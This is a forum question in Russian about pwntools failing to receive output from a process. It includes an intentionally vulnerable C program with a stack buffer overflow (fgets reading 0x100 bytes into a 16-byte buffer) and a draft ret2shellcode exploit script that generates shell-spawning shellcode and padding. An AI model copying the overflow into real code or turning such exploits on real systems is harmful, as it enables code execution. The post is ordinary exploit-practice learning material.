pwntools не может получить сообщение - PullRequest
0 голосов
/ 16 сентября 2018

Когда я получаю сообщение от pwnable precess с python3-pwntools's recv(), sendlineafter() ... и т. Д., Сообщение не приходит.Если вы знаете решение.

Среда

python3-pwntools 2.2.1
python3 3.5.2
Ubuntu 16.04(vagrant:ubuntu/xenial64)

Цель

#include <stdio.h>

int main() {
    char buffer[0x10];
    printf("Hello, what's your name?: ");
    fgets(buffer, 0x100, stdin);
    printf("[+] buffer ==> %s\n", buffer);
    return 0;
}

код эксплойта (черновик)

from pwn import *
from sys import argv

context(os='linux', arch='amd64', log_level='debug', terminal=['tmux', 'splitw', '-h'])
FILE_NAME = './ret2shellcode'
binary = ELF(FILE_NAME)
SHELLCODE = asm(shellcraft.sh())

r = process(FILE_NAME)

def main():
    payload = b'A' * 24
    payload += b'X' * 8
    payload += b'B' * 0x50
    print(r.recv())
    r.sendlineafter("Hello, what's your name?:", payload)
    print(r.recv())
if __name__ == '__main__':
    main()

результат

~~~~
[+] Starting program './ret2shellcode': Done
    # <== nothing come
...